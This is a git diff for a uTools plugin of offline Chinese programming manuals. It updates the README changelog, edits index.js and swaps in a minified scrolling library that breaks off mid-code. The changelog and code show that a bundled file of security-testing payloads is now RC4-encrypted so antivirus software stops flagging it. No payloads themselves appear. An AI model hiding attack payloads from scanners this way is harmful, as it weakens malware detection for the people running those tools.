diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 00000000..f48b37bf Binary files /dev/null and b/.DS_Store differ diff --git a/README.md b/README.md index ccc490a7..e9d844cb 100644 --- a/README.md +++ b/README.md @@ -1,213 +1,220 @@ -# 程序员手册 V0.0.4 - -## 简介 - -内置了十多个实用的离线中文手册,包括:Linux、PHP、Python、JS等,以及提供了搜索devdocs、dash/zeal上的文档的功能 - -手册具有以下三个特色: - -- 内置多个手册均可离线使用,且90%以上是中文 -- 可以自行添加手册 -- 可以查询devdocs、dash/zeal上的文档 - -前身是之前发布的两个插件: - -[PHP函数查询助手](https://yuanliao.info/d/329) [Linux命令查询手册](https://yuanliao.info/d/336) - -## 更新 - -### v0.0.4 - -​ 抱歉由于这段时间私事太多,插件疏于更新。感谢@Xinu在插件无法使用的时候帮忙发布了修复版本。 - -- 修复了uTools更新后进入插件空白的BUG -- 添加Linux支持 -- 修复了退出手册后再次进入无法搜索的BUG,但是MacOS下任然存在一个诡异的BUG,退出后再次进入无法触发鼠标单击事件,建议勾选**隐藏即完全退出**选项,windows不受影响 -- 修复了添加外置手册时使用多关键词会出现问题的BUG -- 现在外置的Java手册有图标了 - -### v0.0.3 - -又有一大波更新来袭 - -先做一个名词解释,本文中所提及的 - -**手册界面**为: - -![UTOOLS1557242800409.png](https://i.loli.net/2019/05/07/5cd1a3b058870.png) - -**列表界面**为: - -![UTOOLS1557242777511.png](https://i.loli.net/2019/05/07/5cd1a399a2c46.png) - - -##### 功能更新 - -- 添加了快速将内容发送至活动窗口的功能,在列表界面按`shift+enter`或鼠标中键即可将选中的函数名称发送至上一个系统的活动窗口,在手册界面,选中相关文本内容后,按`shift+enter`或鼠标中键即可发送。查完api后再也不用慢悠悠地手动复制函数了~~ - -- 集成了`devdocs`,在`手册设置`页面,点击下方的英文手册按钮即可进入`devdocs`的配置页面 - -![UTOOLS1557237205596.png](https://i.loli.net/2019/05/07/5cd18dd58ced8.png) - -​ 需要先在该页面点击下载按钮下载相应的文档目录,之后便可和内置手册一样使用 - -![UTOOLS1557240920471.png](https://i.loli.net/2019/05/07/5cd19c58614cd.png) - -![UTOOLS1557240455149.png](https://i.loli.net/2019/05/07/5cd19a8732d26.png) - -![UTOOLS1557240886582.png](https://i.loli.net/2019/05/07/5cd19c3659474.png) - - 需要注意的是`devdocs`所有文档的`api`列表中均无中文注释,且只有目录文件是离线存储的,访问具体的手册页面需要联网 - -- 现在`手册设置`页面可以在顶端输入框内搜索快速查找需要的文档 - -- 添加快速启动`dash`或者`zeal`的功能,通过关键字`dash`即可进入 - -![UTOOLS1557241588196.png](https://i.loli.net/2019/05/07/5cd19ef3eba37.png) - -​ 注意,不同于`devdocs`,最后会根据查询内容调用`dash`或者`zeal`进行查看,故需要先安装`dash`或者`zeal`才可以使用此功能 - -- 添加了多关键词查找的功能,现在想怎么搜就怎么搜~ - -![UTOOLS1557241948612.png](https://i.loli.net/2019/05/07/5cd1a05ca1521.png) - -- 添加了一个内置手册`PyQt5`,同时在内置的`python`手册中添加了多个`tkinter`的实例 - - 添加了一个内置手册`payload`,收录了一些网络安全测试的常用`payload`,没有手册页面,主要配合新出的发送文本到窗口的功能,实现快速输入`payload`,目前收录的比较少,后续会陆续补充 - - -![UTOOLS1557242094634.png](https://i.loli.net/2019/05/07/5cd1a0ee86d07.png) - -- 增加外置手册时,如需自定义`css`,不再是添加单个`css`文件,而是统一放入`assets`目录中,相关外置手册说明同步更新 - -##### 用户体验改善 - -- 当在列表界面进行搜索后,点击进入手册界面,会清空顶端输入框内的值 -- 在某些情况下(例如读取外置手册失败时)会输出一些报错信息 - -##### bug修复 - -- 修复了添加外置手册后滚动条没有调整的bug,以及某些时候滚动条未自动调整的bug -- 修复检测更新功能中,即使点了不再提醒,下次重启`uTools`时仍会再次出现的bug - -##### 本项目现已在Github开源,地址见下载一栏,欢迎提交pr,大家一同完善本项目,如果喜欢也请不吝star~ - -### v0.0.2 - -##### 功能更新 - -- 增加外置手册的功能,需要有一定的编写爬虫脚本的能力,详情[戳我](https://yuanliao.info/d/356/27) -![Snipaste_2019-04-20_10-45-20.png](https://i.loli.net/2019/04/20/5cba8859b3a66.png) -![Snipaste_2019-04-20_10-46-11.png](https://i.loli.net/2019/04/20/5cba8863a5266.png) -- 增加了三个内置手册`javascript`,`jQuery`,`vue`,一个外置手册`Java`。由于`Java`体积太大(目录10M,手册100M+),会使整个插件体积暴增,故采取外置形式,同时也作为外置手册的一个案例作为参考。 -- 增加了版本检测的功能,当有新版本时会弹窗提示 -![Snipaste_2019-04-20_14-04-40.png](https://i.loli.net/2019/04/20/5cbab6a27136e.png) -- 在设置页面增加了两个功能键`全部启用`和`全部禁用` - -##### 用户体验改善 - -- 优化搜索结果的排序,现在的排序规则是,置顶全字匹配的内容,优先显示名称匹配的内容,其次显示描述匹配的内容 - ![Snipaste_2019-04-19_21-58-45.png](https://i.loli.net/2019/04/19/5cb9d4282b7a1.png) -- 滚动条样式调整,现在滚动条会自动隐藏,并在滚动时和鼠标移至滚动条位置时出现 -- 设置页面的开关样式调整,现在开关的状态更加清晰明了 -- linux、C等语言的手册现在支持语法高亮了 -- 其他一些界面微调 - -##### BUG修复 - -- 修复了第一次进入插件时、列表更新时、方向键选择列表时,鼠标所在位置会被选中的BUG -- 修复了方向键进行列表选择时,没有到最后一行就向下滚动的BUG - -### v0.0.1 - -相较于之前两版,做了比较大的更新: - -- 整合所有手册到一个插件当中,现在有多达**九个**语言或工具的手册 -- 添加了一个配置页面,可以选择需要启动的功能(注:默认情况下所有手册均未启用,需要先通过`手册设置`命令进行配置) -![Snipaste_2019-04-08_20-46-17.png](https://i.loli.net/2019/04/08/5cab4e92369df.png) - - -- 支持直接在`uTools`主输入框进行快速搜索查询(或复制文本后5s内呼出`uTools`),可在配置页面选择开启 -![Snipaste_2019-04-08_20-47-13.png](https://i.loli.net/2019/04/08/5cab4f6fac77e.png) - -- 子输入框功能增强。 - - 在**列表界面**用来搜索函数/命令,并高亮匹配文本 -![Snipaste_2019-04-08_20-50-09.png](https://i.loli.net/2019/04/08/5cab4f9789d08.png) - - 在**手册界面**则可以进行当前文档内容的搜索(回车键跳转到匹配文本位置) -![Snipaste_2019-04-08_21-10-30.png](https://i.loli.net/2019/04/08/5cab4fa84d2ac.png) - -- 添加了一个快捷键`TAB`,以在列表界面和手册界面之间进行切换 - -- 现在支持点击手册里的外部链接跳转到相应网址(通过默认浏览器打开,之前并不支持,不知道你们发现没~~) - -- 界面微调 - -- 一些BUG修复 - -## 其他预览 - -![Snipaste_2019-04-06_03-00-13.png](https://i.loli.net/2019/04/06/5ca7a6e44d6af.png) -![Snipaste_2019-04-08_21-32-28.png](https://i.loli.net/2019/04/08/5cab4d73b0c8e.png) -![Snipaste_2019-04-06_03-01-12.png](https://i.loli.net/2019/04/06/5ca7a6f7bcdf4.png) -![Snipaste_2019-04-08_21-29-49.png](https://i.loli.net/2019/04/08/5cab4d354abe7.png) -![Snipaste_2019-04-08_21-31-23.png](https://i.loli.net/2019/04/08/5cab4d4b93e34.png) - - - -## 下载 - -[百度网盘](https://pan.baidu.com/s/188sFN_oktGulGTdvnCQPqw) 提取码: `yfh7` - -[项目地址](https://github.com/fofolee/uTools-Manuals) - -[插件发布页](https://yuanliao.info/d/356) - -[外置手册教程](https://yuanliao.info/d/356/27) - -## 安装方法 - -将`upx`文件拖入`uTools`输入框中安装即可,安装前最好先卸载旧版本的插件,如果安装过程较久,请耐心等待 - -## 关键字 - -`手册设置` `dash` `linux命令` `php函数` `python库` `C函数` `vim命令` `git命令` `docker命令` `sql手册` `uToolsAPI` 等 - -## 基本操作 - -- 列表界面: - - 查看选中的内容 `⏎` `🖱左键` - - 发送选中的内容至上一个活动窗口 `⇪ + ⏎` `🖱中键` - - 上下选择 `⇧` `⇩` -- 手册界面 - - 切换列表和手册视图 `tab` `🖱右键` - - 发送选中的内容至上一个活动窗口 `⇪ + ⏎` `🖱中键` - - 搜索下一个关键词 `⏎` -- 退出插件 `esc` - -## 手册一览 - -所有手册资源均来自网络,如有遗漏,请留言告知 - -- php手册 | [官方中文文档](https://www.php.net/download-docs.php) -- linux手册 | [离线手册:linux-command@jaywcjlove](https://github.com/jaywcjlove/linux-command) [原始数据:linuxde.net](http://man.linuxde.net/) -- python手册 | [官方文档一译翻译版](https://yiyibooks.cn/xx/python_352/library/index.html) - - beautifulSoup | [官方中文文档](https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html) - - requests | [官方中文文档](https://2.python-requests.org//zh_CN/latest/user/quickstart.html) - - scrapy | [scrapy入门教程中文翻译](https://github.com/marchtea/scrapy_doc_chs) - - pillow | [pillow官方文档中文翻译](https://pillow-cn.readthedocs.io/zh_CN/latest/) - - tkinter | [易学教程](https://www.e-learn.cn/content/python/1101684) -- PyQt5文档 | [PyQt5中文教程](https://github.com/maicss/PyQt5-Chinese-tutorial) -- C函数 | C语言函数速查(Knocker 2004.7.7 版本 0.5) -- vim命令 | [awesome-cheatsheets](https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt) -- git命令 | [php中文网git开发手册](http://www.php.cn/manual/view/34942.html) -- sql手册 | [php中文网sql参考手册](http://www.php.cn/manual/view/21301.html) -- uTools API | [uTools官方文档](https://u.tools/docs/developer/api.html) -- java | [fondme.cn](https://blog.fondme.cn/apidoc/jdk-1.8-google/) -- javascript | [MDN Web Docs](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Index) -- jQuery | [jQuery中文网](https://www.jquery123.com/) -- vue | [官方中文文档](https://cn.vuejs.org/v2/api/) -- payload | 收集自网络 -- devdocs | [devdocs](https://devdocs.io/) - +# 程序员手册 V1.0.0 + +## 简介 + +内置了十多个实用的离线中文手册,包括:Linux、PHP、Python、JS等,以及提供了搜索devdocs、dash/zeal上的文档的功能 + +手册具有以下三个特色: + +- 内置多个手册均可离线使用,且90%以上是中文 +- 可以自行添加手册 +- 可以查询devdocs、dash/zeal上的文档 + +前身是之前发布的两个插件: + +[PHP函数查询助手](https://yuanliao.info/d/329) [Linux命令查询手册](https://yuanliao.info/d/336) + +## 更新 + +### v1.0.0 + +- 上架 uTools 插件商店,算是正式版了,去除了内置的插件更新提示 +- 修复两个滚动事件引起的BUG +- (~~似乎~~)修复了mac下退出后再次进入无法触发鼠标单击事件的BUG +- 修复`payload.json`文件会被某些杀毒软件误报的情况,现在已做加密处理 + +### v0.0.4 + +​ 抱歉由于这段时间私事太多,插件疏于更新。感谢@Xinu在插件无法使用的时候帮忙发布了修复版本。 + +- 修复了uTools更新后进入插件空白的BUG +- 添加Linux支持 +- 修复了退出手册后再次进入无法搜索的BUG,但是MacOS下任然存在一个诡异的BUG,退出后再次进入无法触发鼠标单击事件,建议勾选**隐藏即完全退出**选项,windows不受影响 +- 修复了添加外置手册时使用多关键词会出现问题的BUG +- 现在外置的Java手册有图标了 + +### v0.0.3 + +又有一大波更新来袭 + +先做一个名词解释,本文中所提及的 + +**手册界面**为: + +![UTOOLS1557242800409.png](https://i.loli.net/2019/05/07/5cd1a3b058870.png) + +**列表界面**为: + +![UTOOLS1557242777511.png](https://i.loli.net/2019/05/07/5cd1a399a2c46.png) + + +##### 功能更新 + +- 添加了快速将内容发送至活动窗口的功能,在列表界面按`shift+enter`或鼠标中键即可将选中的函数名称发送至上一个系统的活动窗口,在手册界面,选中相关文本内容后,按`shift+enter`或鼠标中键即可发送。查完api后再也不用慢悠悠地手动复制函数了~~ + +- 集成了`devdocs`,在`手册设置`页面,点击下方的英文手册按钮即可进入`devdocs`的配置页面 + +![UTOOLS1557237205596.png](https://i.loli.net/2019/05/07/5cd18dd58ced8.png) + +​ 需要先在该页面点击下载按钮下载相应的文档目录,之后便可和内置手册一样使用 + +![UTOOLS1557240920471.png](https://i.loli.net/2019/05/07/5cd19c58614cd.png) + +![UTOOLS1557240455149.png](https://i.loli.net/2019/05/07/5cd19a8732d26.png) + +![UTOOLS1557240886582.png](https://i.loli.net/2019/05/07/5cd19c3659474.png) + + 需要注意的是`devdocs`所有文档的`api`列表中均无中文注释,且只有目录文件是离线存储的,访问具体的手册页面需要联网 + +- 现在`手册设置`页面可以在顶端输入框内搜索快速查找需要的文档 + +- 添加快速启动`dash`或者`zeal`的功能,通过关键字`dash`即可进入 + +![UTOOLS1557241588196.png](https://i.loli.net/2019/05/07/5cd19ef3eba37.png) + +​ 注意,不同于`devdocs`,最后会根据查询内容调用`dash`或者`zeal`进行查看,故需要先安装`dash`或者`zeal`才可以使用此功能 + +- 添加了多关键词查找的功能,现在想怎么搜就怎么搜~ + +![UTOOLS1557241948612.png](https://i.loli.net/2019/05/07/5cd1a05ca1521.png) + +- 添加了一个内置手册`PyQt5`,同时在内置的`python`手册中添加了多个`tkinter`的实例 + + 添加了一个内置手册`payload`,收录了一些网络安全测试的常用`payload`,没有手册页面,主要配合新出的发送文本到窗口的功能,实现快速输入`payload`,目前收录的比较少,后续会陆续补充 + + +![UTOOLS1557242094634.png](https://i.loli.net/2019/05/07/5cd1a0ee86d07.png) + +- 增加外置手册时,如需自定义`css`,不再是添加单个`css`文件,而是统一放入`assets`目录中,相关外置手册说明同步更新 + +##### 用户体验改善 + +- 当在列表界面进行搜索后,点击进入手册界面,会清空顶端输入框内的值 +- 在某些情况下(例如读取外置手册失败时)会输出一些报错信息 + +##### bug修复 + +- 修复了添加外置手册后滚动条没有调整的bug,以及某些时候滚动条未自动调整的bug +- 修复检测更新功能中,即使点了不再提醒,下次重启`uTools`时仍会再次出现的bug + +##### 本项目现已在Github开源,地址见下载一栏,欢迎提交pr,大家一同完善本项目,如果喜欢也请不吝star~ + +### v0.0.2 + +##### 功能更新 + +- 增加外置手册的功能,需要有一定的编写爬虫脚本的能力,详情[戳我](https://yuanliao.info/d/356/27) +![Snipaste_2019-04-20_10-45-20.png](https://i.loli.net/2019/04/20/5cba8859b3a66.png) +![Snipaste_2019-04-20_10-46-11.png](https://i.loli.net/2019/04/20/5cba8863a5266.png) +- 增加了三个内置手册`javascript`,`jQuery`,`vue`,一个外置手册`Java`。由于`Java`体积太大(目录10M,手册100M+),会使整个插件体积暴增,故采取外置形式,同时也作为外置手册的一个案例作为参考。 +- 增加了版本检测的功能,当有新版本时会弹窗提示 +![Snipaste_2019-04-20_14-04-40.png](https://i.loli.net/2019/04/20/5cbab6a27136e.png) +- 在设置页面增加了两个功能键`全部启用`和`全部禁用` + +##### 用户体验改善 + +- 优化搜索结果的排序,现在的排序规则是,置顶全字匹配的内容,优先显示名称匹配的内容,其次显示描述匹配的内容 + ![Snipaste_2019-04-19_21-58-45.png](https://i.loli.net/2019/04/19/5cb9d4282b7a1.png) +- 滚动条样式调整,现在滚动条会自动隐藏,并在滚动时和鼠标移至滚动条位置时出现 +- 设置页面的开关样式调整,现在开关的状态更加清晰明了 +- linux、C等语言的手册现在支持语法高亮了 +- 其他一些界面微调 + +##### BUG修复 + +- 修复了第一次进入插件时、列表更新时、方向键选择列表时,鼠标所在位置会被选中的BUG +- 修复了方向键进行列表选择时,没有到最后一行就向下滚动的BUG + +### v0.0.1 + +相较于之前两版,做了比较大的更新: + +- 整合所有手册到一个插件当中,现在有多达**九个**语言或工具的手册 +- 添加了一个配置页面,可以选择需要启动的功能(注:默认情况下所有手册均未启用,需要先通过`手册设置`命令进行配置) +![Snipaste_2019-04-08_20-46-17.png](https://i.loli.net/2019/04/08/5cab4e92369df.png) + + +- 支持直接在`uTools`主输入框进行快速搜索查询(或复制文本后5s内呼出`uTools`),可在配置页面选择开启 +![Snipaste_2019-04-08_20-47-13.png](https://i.loli.net/2019/04/08/5cab4f6fac77e.png) + +- 子输入框功能增强。 + + 在**列表界面**用来搜索函数/命令,并高亮匹配文本 +![Snipaste_2019-04-08_20-50-09.png](https://i.loli.net/2019/04/08/5cab4f9789d08.png) + + 在**手册界面**则可以进行当前文档内容的搜索(回车键跳转到匹配文本位置) +![Snipaste_2019-04-08_21-10-30.png](https://i.loli.net/2019/04/08/5cab4fa84d2ac.png) + +- 添加了一个快捷键`TAB`,以在列表界面和手册界面之间进行切换 + +- 现在支持点击手册里的外部链接跳转到相应网址(通过默认浏览器打开,之前并不支持,不知道你们发现没~~) + +- 界面微调 + +- 一些BUG修复 + +## 其他预览 + +![Snipaste_2019-04-06_03-00-13.png](https://i.loli.net/2019/04/06/5ca7a6e44d6af.png) +![Snipaste_2019-04-08_21-32-28.png](https://i.loli.net/2019/04/08/5cab4d73b0c8e.png) +![Snipaste_2019-04-06_03-01-12.png](https://i.loli.net/2019/04/06/5ca7a6f7bcdf4.png) +![Snipaste_2019-04-08_21-29-49.png](https://i.loli.net/2019/04/08/5cab4d354abe7.png) +![Snipaste_2019-04-08_21-31-23.png](https://i.loli.net/2019/04/08/5cab4d4b93e34.png) + + + +## 下载 + +[百度网盘](https://pan.baidu.com/s/188sFN_oktGulGTdvnCQPqw) 提取码: `yfh7` + +[项目地址](https://github.com/fofolee/uTools-Manuals) + +[插件发布页](https://yuanliao.info/d/356) + +[外置手册教程](https://yuanliao.info/d/356/27) + +## 安装方法 + +将`upx`文件拖入`uTools`输入框中安装即可,安装前最好先卸载旧版本的插件,如果安装过程较久,请耐心等待 + +## 关键字 + +`手册设置` `dash` `linux命令` `php函数` `python库` `C函数` `vim命令` `git命令` `docker命令` `sql手册` `uToolsAPI` 等 + +## 基本操作 + +- 列表界面: + - 查看选中的内容 `⏎` `🖱左键` + - 发送选中的内容至上一个活动窗口 `⇪ + ⏎` `🖱中键` + - 上下选择 `⇧` `⇩` +- 手册界面 + - 切换列表和手册视图 `tab` `🖱右键` + - 发送选中的内容至上一个活动窗口 `⇪ + ⏎` `🖱中键` + - 搜索下一个关键词 `⏎` +- 退出插件 `esc` + +## 手册一览 + +所有手册资源均来自网络,如有遗漏,请留言告知 + +- php手册 | [官方中文文档](https://www.php.net/download-docs.php) +- linux手册 | [离线手册:linux-command@jaywcjlove](https://github.com/jaywcjlove/linux-command) [原始数据:linuxde.net](http://man.linuxde.net/) +- python手册 | [官方文档一译翻译版](https://yiyibooks.cn/xx/python_352/library/index.html) + - beautifulSoup | [官方中文文档](https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html) + - requests | [官方中文文档](https://2.python-requests.org//zh_CN/latest/user/quickstart.html) + - scrapy | [scrapy入门教程中文翻译](https://github.com/marchtea/scrapy_doc_chs) + - pillow | [pillow官方文档中文翻译](https://pillow-cn.readthedocs.io/zh_CN/latest/) + - tkinter | [易学教程](https://www.e-learn.cn/content/python/1101684) +- PyQt5文档 | [PyQt5中文教程](https://github.com/maicss/PyQt5-Chinese-tutorial) +- C函数 | C语言函数速查(Knocker 2004.7.7 版本 0.5) +- vim命令 | [awesome-cheatsheets](https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt) +- git命令 | [php中文网git开发手册](http://www.php.cn/manual/view/34942.html) +- sql手册 | [php中文网sql参考手册](http://www.php.cn/manual/view/21301.html) +- uTools API | [uTools官方文档](https://u.tools/docs/developer/api.html) +- java | [fondme.cn](https://blog.fondme.cn/apidoc/jdk-1.8-google/) +- javascript | [MDN Web Docs](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Index) +- jQuery | [jQuery中文网](https://www.jquery123.com/) +- vue | [官方中文文档](https://cn.vuejs.org/v2/api/) +- payload | 收集自网络 +- devdocs | [devdocs](https://devdocs.io/) + diff --git a/assets/.DS_Store b/assets/.DS_Store new file mode 100644 index 00000000..6d635527 Binary files /dev/null and b/assets/.DS_Store differ diff --git a/assets/index.js b/assets/index.js index b1c34f89..5dd8f277 100644 --- a/assets/index.js +++ b/assets/index.js @@ -124,7 +124,7 @@ toggleView = () => { // 继续加载内容 loadList = addnum => { - if ($('#manual').is(':hidden') && $("#mainlist").is(":visible")) { + if ($('#manual').is(':hidden') && $("#mainlist").is(":visible") && window.infoRows) { var listnum = $(".info").length; if ($(window).scrollTop() >= (listnum * 50 - 550)) { $("#mainlist").append(window.infoRows.slice(listnum, listnum + addnum).join('')); @@ -136,7 +136,7 @@ loadList = addnum => { // 进入插件 utools.onPluginEnter( async ({ code, type, payload }) => { scrollInit(); - checkUpdate(); + // checkUpdate(); if (code == 'options') { window.defaultPage = 0; showOptions(); @@ -191,7 +191,11 @@ utools.onPluginEnter( async ({ code, type, payload }) => { try { if (window.dirs.idxFile) { var index = await readFile(window.dirs.idxFile); - index = JSON.parse(index); + if (window.dirs.idxFile.includes('payload.json')) { + index = JSON.parse(rc4(index, 'uTools')) + } else { + index = JSON.parse(index); + } } else { var index = utools.db.get(code).data; } @@ -353,4 +357,4 @@ $(document).keydown(e => { } break; } -}); +}); \ No newline at end of file diff --git a/assets/jquery.nicescroll.min.js b/assets/jquery.nicescroll.min.js index fa1c8ea7..38e00541 100644 --- a/assets/jquery.nicescroll.min.js +++ b/assets/jquery.nicescroll.min.js @@ -1,2 +1,14 @@ -!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof exports?module.exports=e(require("jquery")):e(jQuery)}(function(e){"use strict";var o=!1,t=!1,r=0,i=2e3,s=0,n=e,l=document,a=window,c=n(a),d=[],u=a.requestAnimationFrame||a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||!1,h=a.cancelAnimationFrame||a.webkitCancelAnimationFrame||a.mozCancelAnimationFrame||!1;if(u)a.cancelAnimationFrame||(h=function(e){});else{var p=0;u=function(e,o){var t=(new Date).getTime(),r=Math.max(0,16-(t-p)),i=a.setTimeout(function(){e(t+r)},r);return p=t+r,i},h=function(e){a.clearTimeout(e)}}var m=a.MutationObserver||a.WebKitMutationObserver||!1,f=Date.now||function(){return(new Date).getTime()},g={zindex:"auto",cursoropacitymin:0,cursoropacitymax:1,cursorcolor:"#424242",cursorwidth:"6px",cursorborder:"1px solid #fff",cursorborderradius:"5px",scrollspeed:40,mousescrollstep:27,touchbehavior:!1,emulatetouch:!1,hwacceleration:!0,usetransition:!0,boxzoom:!1,dblclickzoom:!0,gesturezoom:!0,grabcursorenabled:!0,autohidemode:!0,background:"",iframeautoresize:!0,cursorminheight:32,preservenativescrolling:!0,railoffset:!1,railhoffset:!1,bouncescroll:!0,spacebarenabled:!0,railpadding:{top:0,right:0,left:0,bottom:0},disableoutline:!0,horizrailenabled:!0,railalign:"right",railvalign:"bottom",enabletranslate3d:!0,enablemousewheel:!0,enablekeyboard:!0,smoothscroll:!0,sensitiverail:!0,enablemouselockapi:!0,cursorfixedheight:!1,directionlockdeadzone:6,hidecursordelay:400,nativeparentscrolling:!0,enablescrollonselection:!0,overflowx:!0,overflowy:!0,cursordragspeed:.3,rtlmode:"auto",cursordragontouch:!1,oneaxismousemode:"auto",scriptpath:function(){var e=l.currentScript||function(){var e=l.getElementsByTagName("script");return!!e.length&&e[e.length-1]}(),o=e?e.src.split("?")[0]:"";return o.split("/").length>0?o.split("/").slice(0,-1).join("/")+"/":""}(),preventmultitouchscrolling:!0,disablemutationobserver:!1,enableobserver:!0,scrollbarid:!1},v=!1,w=function(){if(v)return v;var e=l.createElement("DIV"),o=e.style,t=navigator.userAgent,r=navigator.platform,i={};return i.haspointerlock="pointerLockElement"in l||"webkitPointerLockElement"in l||"mozPointerLockElement"in l,i.isopera="opera"in a,i.isopera12=i.isopera&&"getUserMedia"in navigator,i.isoperamini="[object OperaMini]"===Object.prototype.toString.call(a.operamini),i.isie="all"in l&&"attachEvent"in e&&!i.isopera,i.isieold=i.isie&&!("msInterpolationMode"in o),i.isie7=i.isie&&!i.isieold&&(!("documentMode"in l)||7===l.documentMode),i.isie8=i.isie&&"documentMode"in l&&8===l.documentMode,i.isie9=i.isie&&"performance"in a&&9===l.documentMode,i.isie10=i.isie&&"performance"in a&&10===l.documentMode,i.isie11="msRequestFullscreen"in e&&l.documentMode>=11,i.ismsedge="msCredentials"in a,i.ismozilla="MozAppearance"in o,i.iswebkit=!i.ismsedge&&"WebkitAppearance"in o,i.ischrome=i.iswebkit&&"chrome"in a,i.ischrome38=i.ischrome&&"touchAction"in o,i.ischrome22=!i.ischrome38&&i.ischrome&&i.haspointerlock,i.ischrome26=!i.ischrome38&&i.ischrome&&"transition"in o,i.cantouch="ontouchstart"in l.documentElement||"ontouchstart"in a,i.hasw3ctouch=!!a.PointerEvent&&(navigator.maxTouchPoints>0||navigator.msMaxTouchPoints>0),i.hasmstouch=!i.hasw3ctouch&&(a.MSPointerEvent||!1),i.ismac=/^mac$/i.test(r),i.isios=i.cantouch&&/iphone|ipad|ipod/i.test(r),i.isios4=i.isios&&!("seal"in Object),i.isios7=i.isios&&"webkitHidden"in l,i.isios8=i.isios&&"hidden"in l,i.isios10=i.isios&&a.Proxy,i.isandroid=/android/i.test(t),i.haseventlistener="addEventListener"in e,i.trstyle=!1,i.hastransform=!1,i.hastranslate3d=!1,i.transitionstyle=!1,i.hastransition=!1,i.transitionend=!1,i.trstyle="transform",i.hastransform="transform"in o||function(){for(var e=["msTransform","webkitTransform","MozTransform","OTransform"],t=0,r=e.length;t0;){if(9==e[0].nodeType)return!1;var o=e.css("zIndex");if(!isNaN(o)&&0!==o)return parseInt(o);e=e.parent()}return!1}function x(e,o,t){var r=e.css(o),i=parseFloat(r);if(isNaN(i)){var s=3==(i=I[r]||0)?t?T.win.outerHeight()-T.win.innerHeight():T.win.outerWidth()-T.win.innerWidth():1;return T.isie8&&i&&(i+=1),s?i:0}return i}function S(e,o,t,r){T._bind(e,o,function(r){var i={original:r=r||a.event,target:r.target||r.srcElement,type:"wheel",deltaMode:"MozMousePixelScroll"==r.type?0:1,deltaX:0,deltaZ:0,preventDefault:function(){return r.preventDefault?r.preventDefault():r.returnValue=!1,!1},stopImmediatePropagation:function(){r.stopImmediatePropagation?r.stopImmediatePropagation():r.cancelBubble=!0}};return"mousewheel"==o?(r.wheelDeltaX&&(i.deltaX=-.025*r.wheelDeltaX),r.wheelDeltaY&&(i.deltaY=-.025*r.wheelDeltaY),!i.deltaY&&!i.deltaX&&(i.deltaY=-.025*r.wheelDelta)):i.deltaY=r.detail,t.call(e,i)},r)}function z(e,o,t,r){T.scrollrunning||(T.newscrolly=T.getScrollTop(),T.newscrollx=T.getScrollLeft(),D=f());var i=f()-D;if(D=f(),i>350?A=1:A+=(2-A)/10,e=e*A|0,o=o*A|0,e){if(r)if(e<0){if(T.getScrollLeft()>=T.page.maxw)return!0}else if(T.getScrollLeft()<=0)return!0;var s=e>0?1:-1;B!==s&&(T.scrollmom&&T.scrollmom.stop(),T.newscrollx=T.getScrollLeft(),B=s),T.lastdeltax-=e}if(o){if(function(){var e=T.getScrollTop();if(o<0){if(e>=T.page.maxh)return!0}else if(e<=0)return!0}()){if(M.nativeparentscrolling&&t&&!T.ispage&&!T.zoomactive)return!0;var n=T.view.h>>1;T.newscrolly<-n?(T.newscrolly=-n,o=-1):T.newscrolly>T.page.maxh+n?(T.newscrolly=T.page.maxh+n,o=1):o=0}var l=o>0?1:-1;X!==l&&(T.scrollmom&&T.scrollmom.stop(),T.newscrolly=T.getScrollTop(),X=l),T.lastdeltay-=o}(o||e)&&T.synched("relativexy",function(){var e=T.lastdeltay+T.newscrolly;T.lastdeltay=0;var o=T.lastdeltax+T.newscrollx;T.lastdeltax=0,T.rail.drag||T.doScrollPos(o,e)})}function k(e,o,t){var r,i;return!(t||!q)||(0===e.deltaMode?(r=-e.deltaX*(M.mousescrollstep/54)|0,i=-e.deltaY*(M.mousescrollstep/54)|0):1===e.deltaMode&&(r=-e.deltaX*M.mousescrollstep*50/80|0,i=-e.deltaY*M.mousescrollstep*50/80|0),o&&M.oneaxismousemode&&0===r&&i&&(r=i,i=0,t&&(r<0?T.getScrollLeft()>=T.page.maxw:T.getScrollLeft()<=0)&&(i=r,r=0)),T.isrtlmode&&(r=-r),z(r,i,t,!0)?void(t&&(q=!0)):(q=!1,e.stopImmediatePropagation(),e.preventDefault()))}var T=this;this.version="3.7.6",this.name="nicescroll",this.me=p;var E=n("body"),M=this.opt={doc:E,win:!1};if(n.extend(M,g),M.snapbackspeed=80,e)for(var L in M)void 0!==e[L]&&(M[L]=e[L]);if(M.disablemutationobserver&&(m=!1),this.doc=M.doc,this.iddoc=this.doc&&this.doc[0]&&this.doc[0].id||"",this.ispage=/^BODY|HTML/.test(M.win?M.win[0].nodeName:this.doc[0].nodeName),this.haswrapper=!1!==M.win,this.win=M.win||(this.ispage?c:this.doc),this.docscroll=this.ispage&&!this.haswrapper?c:this.win,this.body=E,this.viewport=!1,this.isfixed=!1,this.iframe=!1,this.isiframe="IFRAME"==this.doc[0].nodeName&&"IFRAME"==this.win[0].nodeName,this.istextarea="TEXTAREA"==this.win[0].nodeName,this.forcescreen=!1,this.canshowonmouseevent="scroll"!=M.autohidemode,this.onmousedown=!1,this.onmouseup=!1,this.onmousemove=!1,this.onmousewheel=!1,this.onkeypress=!1,this.ongesturezoom=!1,this.onclick=!1,this.onscrollstart=!1,this.onscrollend=!1,this.onscrollcancel=!1,this.onzoomin=!1,this.onzoomout=!1,this.view=!1,this.page=!1,this.scroll={x:0,y:0},this.scrollratio={x:0,y:0},this.cursorheight=20,this.scrollvaluemax=0,"auto"==M.rtlmode){var C=this.win[0]==a?this.body:this.win,N=C.css("writing-mode")||C.css("-webkit-writing-mode")||C.css("-ms-writing-mode")||C.css("-moz-writing-mode");"horizontal-tb"==N||"lr-tb"==N||""===N?(this.isrtlmode="rtl"==C.css("direction"),this.isvertical=!1):(this.isrtlmode="vertical-rl"==N||"tb"==N||"tb-rl"==N||"rl-tb"==N,this.isvertical="vertical-rl"==N||"tb"==N||"tb-rl"==N)}else 